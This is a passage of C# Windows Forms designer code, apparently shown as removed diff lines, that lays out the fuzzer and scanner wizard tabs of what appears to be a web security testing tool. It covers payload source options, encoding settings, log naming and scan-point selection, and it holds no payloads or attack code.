this.dataGridViewTextBoxColumn19.Name = "dataGridViewTextBoxColumn19"; - this.dataGridViewTextBoxColumn19.ReadOnly = true; - this.dataGridViewTextBoxColumn19.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn19.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // FuzzStep1StatusTB - // - this.FuzzStep1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzStep1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FuzzStep1StatusTB.Location = new System.Drawing.Point(230, 246); - this.FuzzStep1StatusTB.Multiline = true; - this.FuzzStep1StatusTB.Name = "FuzzStep1StatusTB"; - this.FuzzStep1StatusTB.Size = new System.Drawing.Size(505, 45); - this.FuzzStep1StatusTB.TabIndex = 13; - this.FuzzStep1StatusTB.TabStop = false; - this.FuzzStep1StatusTB.Visible = false; - // - // textBox18 - // - this.textBox18.BackColor = System.Drawing.Color.White; - this.textBox18.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox18.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox18.Location = new System.Drawing.Point(5, 5); - this.textBox18.Multiline = true; - this.textBox18.Name = "textBox18"; - this.textBox18.ReadOnly = true; - this.textBox18.Size = new System.Drawing.Size(858, 51); - this.textBox18.TabIndex = 11; - this.textBox18.TabStop = false; - this.textBox18.Text = resources.GetString("textBox18.Text"); - // - // FuzzStepOnePreviousBtn - // - this.FuzzStepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzStepOnePreviousBtn.Location = new System.Drawing.Point(8, 268); - this.FuzzStepOnePreviousBtn.Name = "FuzzStepOnePreviousBtn"; - this.FuzzStepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.FuzzStepOnePreviousBtn.TabIndex = 10; - this.FuzzStepOnePreviousBtn.Text = "<-Previous Step"; - this.FuzzStepOnePreviousBtn.UseVisualStyleBackColor = true; - this.FuzzStepOnePreviousBtn.Click += new System.EventHandler(this.FuzzStepOnePreviousBtn_Click); - // - // FuzzStepOneNextBtn - // - this.FuzzStepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzStepOneNextBtn.Location = new System.Drawing.Point(755, 268); - this.FuzzStepOneNextBtn.Name = "FuzzStepOneNextBtn"; - this.FuzzStepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.FuzzStepOneNextBtn.TabIndex = 9; - this.FuzzStepOneNextBtn.Text = "Next Step ->"; - this.FuzzStepOneNextBtn.UseVisualStyleBackColor = true; - this.FuzzStepOneNextBtn.Click += new System.EventHandler(this.FuzzStepOneNextBtn_Click); - // - // PayloadsTab - // - this.PayloadsTab.BackColor = System.Drawing.Color.White; - this.PayloadsTab.Controls.Add(this.FuzzLoadPayloadsFromFileRB); - this.PayloadsTab.Controls.Add(this.FuzzUsePayloadsFromListRB); - this.PayloadsTab.Controls.Add(this.groupBox3); - this.PayloadsTab.Controls.Add(this.groupBox2); - this.PayloadsTab.Controls.Add(this.FuzzPayloadsFileLbl); - this.PayloadsTab.Controls.Add(this.FuzzPayloadsListTB); - this.PayloadsTab.Controls.Add(this.FuzzLoadPayloadsFileLL); - this.PayloadsTab.Controls.Add(this.FuzzStep2StatusTB); - this.PayloadsTab.Controls.Add(this.textBox17); - this.PayloadsTab.Controls.Add(this.FuzzStepTwoPreviousBtn); - this.PayloadsTab.Controls.Add(this.FuzzStepTwoNextBtn); - this.PayloadsTab.Location = new System.Drawing.Point(4, 25); - this.PayloadsTab.Margin = new System.Windows.Forms.Padding(0); - this.PayloadsTab.Name = "PayloadsTab"; - this.PayloadsTab.Padding = new System.Windows.Forms.Padding(5); - this.PayloadsTab.Size = new System.Drawing.Size(868, 299); - this.PayloadsTab.TabIndex = 1; - this.PayloadsTab.Text = " Fuzz Payloads "; - // - // FuzzLoadPayloadsFromFileRB - // - this.FuzzLoadPayloadsFromFileRB.AutoSize = true; - this.FuzzLoadPayloadsFromFileRB.Checked = true; - this.FuzzLoadPayloadsFromFileRB.Location = new System.Drawing.Point(11, 49); - this.FuzzLoadPayloadsFromFileRB.Name = "FuzzLoadPayloadsFromFileRB"; - this.FuzzLoadPayloadsFromFileRB.Size = new System.Drawing.Size(134, 17); - this.FuzzLoadPayloadsFromFileRB.TabIndex = 30; - this.FuzzLoadPayloadsFromFileRB.TabStop = true; - this.FuzzLoadPayloadsFromFileRB.Text = "Load Payloads from file"; - this.FuzzLoadPayloadsFromFileRB.UseVisualStyleBackColor = true; - this.FuzzLoadPayloadsFromFileRB.CheckedChanged += new System.EventHandler(this.FuzzLoadPayloadsFromFileRB_CheckedChanged); - // - // FuzzUsePayloadsFromListRB - // - this.FuzzUsePayloadsFromListRB.AutoSize = true; - this.FuzzUsePayloadsFromListRB.Location = new System.Drawing.Point(470, 49); - this.FuzzUsePayloadsFromListRB.Name = "FuzzUsePayloadsFromListRB"; - this.FuzzUsePayloadsFromListRB.Size = new System.Drawing.Size(147, 17); - this.FuzzUsePayloadsFromListRB.TabIndex = 29; - this.FuzzUsePayloadsFromListRB.Text = "Use Payloads from this list"; - this.FuzzUsePayloadsFromListRB.UseVisualStyleBackColor = true; - this.FuzzUsePayloadsFromListRB.CheckedChanged += new System.EventHandler(this.FuzzUsePayloadsFromListRB_CheckedChanged); - // - // groupBox3 - // - this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.groupBox3.Controls.Add(this.label13); - this.groupBox3.Controls.Add(this.FuzzOriginalParameterBeforePayloadRB); - this.groupBox3.Controls.Add(this.FuzzOriginalParameterAfterPayloadRB); - this.groupBox3.Controls.Add(this.FuzzNoOriginalParameterRB); - this.groupBox3.Location = new System.Drawing.Point(9, 189); - this.groupBox3.Name = "groupBox3"; - this.groupBox3.Size = new System.Drawing.Size(848, 57); - this.groupBox3.TabIndex = 28; - this.groupBox3.TabStop = false; - this.groupBox3.Text = "During testing sometimes the parameter\'s original value needs to be added along w" + - "ith the payload."; - // - // label13 - // - this.label13.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label13.AutoSize = true; - this.label13.Location = new System.Drawing.Point(6, 26); - this.label13.Name = "label13"; - this.label13.Size = new System.Drawing.Size(311, 13); - this.label13.TabIndex = 25; - this.label13.Text = "Where do you want to add the tested parameter\'s original value?"; - // - // FuzzOriginalParameterBeforePayloadRB - // - this.FuzzOriginalParameterBeforePayloadRB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzOriginalParameterBeforePayloadRB.AutoSize = true; - this.FuzzOriginalParameterBeforePayloadRB.Location = new System.Drawing.Point(347, 24); - this.FuzzOriginalParameterBeforePayloadRB.Name = "FuzzOriginalParameterBeforePayloadRB"; - this.FuzzOriginalParameterBeforePayloadRB.Size = new System.Drawing.Size(113, 17); - this.FuzzOriginalParameterBeforePayloadRB.TabIndex = 22; - this.FuzzOriginalParameterBeforePayloadRB.Text = "before the payload"; - this.FuzzOriginalParameterBeforePayloadRB.UseVisualStyleBackColor = true; - // - // FuzzOriginalParameterAfterPayloadRB - // - this.FuzzOriginalParameterAfterPayloadRB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzOriginalParameterAfterPayloadRB.AutoSize = true; - this.FuzzOriginalParameterAfterPayloadRB.Location = new System.Drawing.Point(475, 24); - this.FuzzOriginalParameterAfterPayloadRB.Name = "FuzzOriginalParameterAfterPayloadRB"; - this.FuzzOriginalParameterAfterPayloadRB.Size = new System.Drawing.Size(104, 17); - this.FuzzOriginalParameterAfterPayloadRB.TabIndex = 23; - this.FuzzOriginalParameterAfterPayloadRB.Text = "after the payload"; - this.FuzzOriginalParameterAfterPayloadRB.UseVisualStyleBackColor = true; - // - // FuzzNoOriginalParameterRB - // - this.FuzzNoOriginalParameterRB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzNoOriginalParameterRB.AutoSize = true; - this.FuzzNoOriginalParameterRB.Checked = true; - this.FuzzNoOriginalParameterRB.Location = new System.Drawing.Point(595, 24); - this.FuzzNoOriginalParameterRB.Name = "FuzzNoOriginalParameterRB"; - this.FuzzNoOriginalParameterRB.Size = new System.Drawing.Size(69, 17); - this.FuzzNoOriginalParameterRB.TabIndex = 24; - this.FuzzNoOriginalParameterRB.TabStop = true; - this.FuzzNoOriginalParameterRB.Text = "don\'t add"; - this.FuzzNoOriginalParameterRB.UseVisualStyleBackColor = true; - // - // groupBox2 - // - this.groupBox2.Controls.Add(this.FuzzPayloadEncodedNoRB); - this.groupBox2.Controls.Add(this.FuzzPayloadEncodedYesRB); - this.groupBox2.Controls.Add(this.textBox10); - this.groupBox2.Location = new System.Drawing.Point(8, 97); - this.groupBox2.Name = "groupBox2"; - this.groupBox2.Size = new System.Drawing.Size(448, 85); - this.groupBox2.TabIndex = 27; - this.groupBox2.TabStop = false; - this.groupBox2.Text = "Are the payloads in URL-Encoded form?"; - // - // FuzzPayloadEncodedNoRB - // - this.FuzzPayloadEncodedNoRB.AutoSize = true; - this.FuzzPayloadEncodedNoRB.Location = new System.Drawing.Point(72, 19); - this.FuzzPayloadEncodedNoRB.Name = "FuzzPayloadEncodedNoRB"; - this.FuzzPayloadEncodedNoRB.Size = new System.Drawing.Size(39, 17); - this.FuzzPayloadEncodedNoRB.TabIndex = 18; - this.FuzzPayloadEncodedNoRB.Text = "No"; - this.FuzzPayloadEncodedNoRB.UseVisualStyleBackColor = true; - // - // FuzzPayloadEncodedYesRB - // - this.FuzzPayloadEncodedYesRB.AutoSize = true; - this.FuzzPayloadEncodedYesRB.Checked = true; - this.FuzzPayloadEncodedYesRB.Location = new System.Drawing.Point(14, 19); - this.FuzzPayloadEncodedYesRB.Name = "FuzzPayloadEncodedYesRB"; - this.FuzzPayloadEncodedYesRB.Size = new System.Drawing.Size(43, 17); - this.FuzzPayloadEncodedYesRB.TabIndex = 17; - this.FuzzPayloadEncodedYesRB.TabStop = true; - this.FuzzPayloadEncodedYesRB.Text = "Yes"; - this.FuzzPayloadEncodedYesRB.UseVisualStyleBackColor = true; - // - // textBox10 - // - this.textBox10.BackColor = System.Drawing.Color.White; - this.textBox10.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox10.ForeColor = System.Drawing.Color.Black; - this.textBox10.Location = new System.Drawing.Point(10, 39); - this.textBox10.Multiline = true; - this.textBox10.Name = "textBox10"; - this.textBox10.ReadOnly = true; - this.textBox10.Size = new System.Drawing.Size(430, 31); - this.textBox10.TabIndex = 16; - this.textBox10.TabStop = false; - this.textBox10.Text = "If the payload is already in URL-encoded form then they will be decoded before be" + - "ing used. The fuzzer will performing the proper encoding internally when the pay" + - "load is injected."; - // - // FuzzPayloadsFileLbl - // - this.FuzzPayloadsFileLbl.AutoSize = true; - this.FuzzPayloadsFileLbl.Location = new System.Drawing.Point(19, 78); - this.FuzzPayloadsFileLbl.Name = "FuzzPayloadsFileLbl"; - this.FuzzPayloadsFileLbl.Size = new System.Drawing.Size(289, 13); - this.FuzzPayloadsFileLbl.TabIndex = 21; - this.FuzzPayloadsFileLbl.Text = " " + - " "; - // - // FuzzPayloadsListTB - // - this.FuzzPayloadsListTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzPayloadsListTB.Enabled = false; - this.FuzzPayloadsListTB.Location = new System.Drawing.Point(470, 78); - this.FuzzPayloadsListTB.Multiline = true; - this.FuzzPayloadsListTB.Name = "FuzzPayloadsListTB"; - this.FuzzPayloadsListTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.FuzzPayloadsListTB.Size = new System.Drawing.Size(390, 104); - this.FuzzPayloadsListTB.TabIndex = 17; - this.FuzzPayloadsListTB.WordWrap = false; - // - // FuzzLoadPayloadsFileLL - // - this.FuzzLoadPayloadsFileLL.AutoSize = true; - this.FuzzLoadPayloadsFileLL.Location = new System.Drawing.Point(151, 51); - this.FuzzLoadPayloadsFileLL.Name = "FuzzLoadPayloadsFileLL"; - this.FuzzLoadPayloadsFileLL.Size = new System.Drawing.Size(31, 13); - this.FuzzLoadPayloadsFileLL.TabIndex = 16; - this.FuzzLoadPayloadsFileLL.TabStop = true; - this.FuzzLoadPayloadsFileLL.Text = "Load"; - this.FuzzLoadPayloadsFileLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadPayloadsFileLL_LinkClicked); - // - // FuzzStep2StatusTB - // - this.FuzzStep2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzStep2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FuzzStep2StatusTB.Location = new System.Drawing.Point(140, 251); - this.FuzzStep2StatusTB.Multiline = true; - this.FuzzStep2StatusTB.Name = "FuzzStep2StatusTB"; - this.FuzzStep2StatusTB.Size = new System.Drawing.Size(598, 40); - this.FuzzStep2StatusTB.TabIndex = 11; - this.FuzzStep2StatusTB.TabStop = false; - this.FuzzStep2StatusTB.Visible = false; - // - // textBox17 - // - this.textBox17.BackColor = System.Drawing.Color.White; - this.textBox17.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox17.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox17.Location = new System.Drawing.Point(5, 5); - this.textBox17.Multiline = true; - this.textBox17.Name = "textBox17"; - this.textBox17.ReadOnly = true; - this.textBox17.Size = new System.Drawing.Size(858, 38); - this.textBox17.TabIndex = 9; - this.textBox17.TabStop = false; - this.textBox17.Text = "\r\nPlease specify the payloads you want to be used for Fuzzing. You can either typ" + - "e the payloads one per line or provide a file with the list of payloads.\r\n\r\n"; - // - // FuzzStepTwoPreviousBtn - // - this.FuzzStepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzStepTwoPreviousBtn.Location = new System.Drawing.Point(8, 268); - this.FuzzStepTwoPreviousBtn.Name = "FuzzStepTwoPreviousBtn"; - this.FuzzStepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.FuzzStepTwoPreviousBtn.TabIndex = 8; - this.FuzzStepTwoPreviousBtn.Text = "<-Previous Step"; - this.FuzzStepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.FuzzStepTwoPreviousBtn.Click += new System.EventHandler(this.FuzzStepTwoPreviousBtn_Click); - // - // FuzzStepTwoNextBtn - // - this.FuzzStepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzStepTwoNextBtn.Location = new System.Drawing.Point(755, 268); - this.FuzzStepTwoNextBtn.Name = "FuzzStepTwoNextBtn"; - this.FuzzStepTwoNextBtn.Size = new System.Drawing.Size(105, 23); - this.FuzzStepTwoNextBtn.TabIndex = 7; - this.FuzzStepTwoNextBtn.Text = "Next Step ->"; - this.FuzzStepTwoNextBtn.UseVisualStyleBackColor = true; - this.FuzzStepTwoNextBtn.Click += new System.EventHandler(this.FuzzStepTwoNextBtn_Click); - // - // FinalTab - // - this.FinalTab.BackColor = System.Drawing.Color.White; - this.FinalTab.Controls.Add(this.label3); - this.FinalTab.Controls.Add(this.FuzzStep3StatusTB); - this.FinalTab.Controls.Add(this.FuzzUseCustomLogSourceCB); - this.FinalTab.Controls.Add(this.FuzzSessionPluginGrid); - this.FinalTab.Controls.Add(this.FuzzSessionPluginMsgTB); - this.FinalTab.Controls.Add(this.label8); - this.FinalTab.Controls.Add(this.FuzzStepThreePreviousBtn); - this.FinalTab.Controls.Add(this.FuzzLogSourceTB); - this.FinalTab.Controls.Add(this.FuzzCreateCodeBtn); - this.FinalTab.Location = new System.Drawing.Point(4, 25); - this.FinalTab.Name = "FinalTab"; - this.FinalTab.Padding = new System.Windows.Forms.Padding(5); - this.FinalTab.Size = new System.Drawing.Size(868, 299); - this.FinalTab.TabIndex = 3; - this.FinalTab.Text = " Customization "; - // - // label3 - // - this.label3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label3.AutoEllipsis = true; - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(12, 198); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(331, 13); - this.label3.TabIndex = 32; - this.label3.Text = "To view the fuzzer logs you would have to click on the source name."; - // - // FuzzStep3StatusTB - // - this.FuzzStep3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzStep3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FuzzStep3StatusTB.Location = new System.Drawing.Point(128, 251); - this.FuzzStep3StatusTB.Multiline = true; - this.FuzzStep3StatusTB.Name = "FuzzStep3StatusTB"; - this.FuzzStep3StatusTB.Size = new System.Drawing.Size(543, 40); - this.FuzzStep3StatusTB.TabIndex = 31; - this.FuzzStep3StatusTB.TabStop = false; - this.FuzzStep3StatusTB.Visible = false; - // - // FuzzUseCustomLogSourceCB - // - this.FuzzUseCustomLogSourceCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzUseCustomLogSourceCB.AutoSize = true; - this.FuzzUseCustomLogSourceCB.Location = new System.Drawing.Point(15, 218); - this.FuzzUseCustomLogSourceCB.Name = "FuzzUseCustomLogSourceCB"; - this.FuzzUseCustomLogSourceCB.Size = new System.Drawing.Size(304, 17); - this.FuzzUseCustomLogSourceCB.TabIndex = 30; - this.FuzzUseCustomLogSourceCB.Text = "Use this custom log source name (only alphabets allowed) :"; - this.FuzzUseCustomLogSourceCB.UseVisualStyleBackColor = true; - this.FuzzUseCustomLogSourceCB.CheckedChanged += new System.EventHandler(this.FuzzUseCustomLogSourceCB_CheckedChanged); - // - // FuzzSessionPluginGrid - // - this.FuzzSessionPluginGrid.AllowUserToAddRows = false; - this.FuzzSessionPluginGrid.AllowUserToDeleteRows = false; - this.FuzzSessionPluginGrid.AllowUserToResizeRows = false; - this.FuzzSessionPluginGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzSessionPluginGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle47.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle47.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle47.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle47.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle47.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle47.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle47.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.FuzzSessionPluginGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle47; - this.FuzzSessionPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FuzzSessionPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn13, - this.dataGridViewTextBoxColumn21}); - this.FuzzSessionPluginGrid.GridColor = System.Drawing.Color.White; - this.FuzzSessionPluginGrid.Location = new System.Drawing.Point(542, 8); - this.FuzzSessionPluginGrid.Name = "FuzzSessionPluginGrid"; - this.FuzzSessionPluginGrid.ReadOnly = true; - this.FuzzSessionPluginGrid.RowHeadersVisible = false; - this.FuzzSessionPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FuzzSessionPluginGrid.Size = new System.Drawing.Size(318, 166); - this.FuzzSessionPluginGrid.TabIndex = 29; - this.FuzzSessionPluginGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FuzzSessionPluginGrid_CellClick); - // - // dataGridViewCheckBoxColumn13 - // - this.dataGridViewCheckBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn13.HeaderText = ""; - this.dataGridViewCheckBoxColumn13.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn13.Name = "dataGridViewCheckBoxColumn13"; - this.dataGridViewCheckBoxColumn13.ReadOnly = true; - this.dataGridViewCheckBoxColumn13.Width = 25; - // - // dataGridViewTextBoxColumn21 - // - this.dataGridViewTextBoxColumn21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn21.HeaderText = "Select a Session Plugin"; - this.dataGridViewTextBoxColumn21.Name = "dataGridViewTextBoxColumn21"; - this.dataGridViewTextBoxColumn21.ReadOnly = true; - this.dataGridViewTextBoxColumn21.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn21.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // FuzzSessionPluginMsgTB - // - this.FuzzSessionPluginMsgTB.BackColor = System.Drawing.Color.White; - this.FuzzSessionPluginMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FuzzSessionPluginMsgTB.Location = new System.Drawing.Point(8, 8); - this.FuzzSessionPluginMsgTB.Multiline = true; - this.FuzzSessionPluginMsgTB.Name = "FuzzSessionPluginMsgTB"; - this.FuzzSessionPluginMsgTB.ReadOnly = true; - this.FuzzSessionPluginMsgTB.Size = new System.Drawing.Size(517, 153); - this.FuzzSessionPluginMsgTB.TabIndex = 28; - this.FuzzSessionPluginMsgTB.TabStop = false; - this.FuzzSessionPluginMsgTB.Text = resources.GetString("FuzzSessionPluginMsgTB.Text"); - // - // label8 - // - this.label8.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label8.AutoEllipsis = true; - this.label8.AutoSize = true; - this.label8.Location = new System.Drawing.Point(12, 181); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(773, 13); - this.label8.TabIndex = 27; - this.label8.Text = "By default the logs generated by the Fuzzer are stored in the \'Other Logs\' sectio" + - "n under the source name \'Fuzzer\'. You can use a different source name if you wan" + - "t."; - // - // FuzzStepThreePreviousBtn - // - this.FuzzStepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzStepThreePreviousBtn.Location = new System.Drawing.Point(8, 268); - this.FuzzStepThreePreviousBtn.Name = "FuzzStepThreePreviousBtn"; - this.FuzzStepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.FuzzStepThreePreviousBtn.TabIndex = 19; - this.FuzzStepThreePreviousBtn.Text = "<-Previous Step"; - this.FuzzStepThreePreviousBtn.UseVisualStyleBackColor = true; - this.FuzzStepThreePreviousBtn.Click += new System.EventHandler(this.FuzzStepThreePreviousBtn_Click); - // - // FuzzLogSourceTB - // - this.FuzzLogSourceTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzLogSourceTB.Enabled = false; - this.FuzzLogSourceTB.Location = new System.Drawing.Point(321, 216); - this.FuzzLogSourceTB.Name = "FuzzLogSourceTB"; - this.FuzzLogSourceTB.Size = new System.Drawing.Size(204, 20); - this.FuzzLogSourceTB.TabIndex = 17; - this.FuzzLogSourceTB.Text = "MyOwnFuzzer"; - // - // FuzzCreateCodeBtn - // - this.FuzzCreateCodeBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzCreateCodeBtn.Location = new System.Drawing.Point(683, 260); - this.FuzzCreateCodeBtn.Name = "FuzzCreateCodeBtn"; - this.FuzzCreateCodeBtn.Size = new System.Drawing.Size(177, 31); - this.FuzzCreateCodeBtn.TabIndex = 16; - this.FuzzCreateCodeBtn.Text = "Generate Code"; - this.FuzzCreateCodeBtn.UseVisualStyleBackColor = true; - this.FuzzCreateCodeBtn.Click += new System.EventHandler(this.FuzzCreateCodeBtn_Click); - // - // tabPage16 - // - this.tabPage16.Controls.Add(this.ScanBaseTabs); - this.tabPage16.Location = new System.Drawing.Point(4, 22); - this.tabPage16.Name = "tabPage16"; - this.tabPage16.Size = new System.Drawing.Size(876, 328); - this.tabPage16.TabIndex = 7; - this.tabPage16.Text = " Scanning "; - this.tabPage16.UseVisualStyleBackColor = true; - // - // ScanBaseTabs - // - this.ScanBaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.ScanBaseTabs.Controls.Add(this.tabPage18); - this.ScanBaseTabs.Controls.Add(this.tabPage19); - this.ScanBaseTabs.Controls.Add(this.tabPage20); - this.ScanBaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanBaseTabs.Location = new System.Drawing.Point(0, 0); - this.ScanBaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScanBaseTabs.Name = "ScanBaseTabs"; - this.ScanBaseTabs.Padding = new System.Drawing.Point(0, 0); - this.ScanBaseTabs.SelectedIndex = 0; - this.ScanBaseTabs.Size = new System.Drawing.Size(876, 328); - this.ScanBaseTabs.TabIndex = 18; - this.ScanBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ScanBaseTabs_Selecting); - // - // tabPage18 - // - this.tabPage18.BackColor = System.Drawing.Color.White; - this.tabPage18.Controls.Add(this.ScanSelectedParametersListTB); - this.tabPage18.Controls.Add(this.ScanBodyTypeGB); - this.tabPage18.Controls.Add(this.ScanAddPointLL); - this.tabPage18.Controls.Add(this.ScanParametersNameListLbl); - this.tabPage18.Controls.Add(this.ScanParametersNameListTB); - this.tabPage18.Controls.Add(this.ScanListedParametersRB); - this.tabPage18.Controls.Add(this.ScanAllParametersRB); - this.tabPage18.Controls.Add(this.ScanParameterTypeGrid); - this.tabPage18.Controls.Add(this.ScanStep0StatusTB); - this.tabPage18.Controls.Add(this.textBox26); - this.tabPage18.Controls.Add(this.ScanResetBtn); - this.tabPage18.Controls.Add(this.ScanStepZeroNextBtn); - this.tabPage18.Location = new System.Drawing.Point(4, 25); - this.tabPage18.Name = "tabPage18"; - this.tabPage18.Padding = new System.Windows.Forms.Padding(5); - this.tabPage18.Size = new System.Drawing.Size(868, 299); - this.tabPage18.TabIndex = 2; - this.tabPage18.Text = " Set Scan Points "; - // - // ScanSelectedParametersListTB - // - this.ScanSelectedParametersListTB.BackColor = System.Drawing.Color.White; - this.ScanSelectedParametersListTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanSelectedParametersListTB.ForeColor = System.Drawing.Color.CornflowerBlue; - this.ScanSelectedParametersListTB.Location = new System.Drawing.Point(8, 218); - this.ScanSelectedParametersListTB.Multiline = true; - this.ScanSelectedParametersListTB.Name = "ScanSelectedParametersListTB"; - this.ScanSelectedParametersListTB.ReadOnly = true; - this.ScanSelectedParametersListTB.Size = new System.Drawing.Size(210, 44); - this.ScanSelectedParametersListTB.TabIndex = 23; - this.ScanSelectedParametersListTB.TabStop = false; - // - // ScanBodyTypeGB - // - this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomMsgTB); - this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomEndTB); - this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomEndLbl); - this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomStartTB); - this.ScanBodyTypeGB.Controls.Add(this.ScanBodyCustomStartLbl); - this.ScanBodyTypeGB.Controls.Add(this.ScanBodyTypeGrid); - this.ScanBodyTypeGB.Location = new System.Drawing.Point(224, 69); - this.ScanBodyTypeGB.Name = "ScanBodyTypeGB"; - this.ScanBodyTypeGB.Size = new System.Drawing.Size(376, 166); - this.ScanBodyTypeGB.TabIndex = 22; - this.ScanBodyTypeGB.TabStop = false; - this.ScanBodyTypeGB.Text = "Select the type of Request body format:"; - this.ScanBodyTypeGB.Visible = false; - // - // ScanBodyCustomMsgTB - // - this.ScanBodyCustomMsgTB.Anchor = 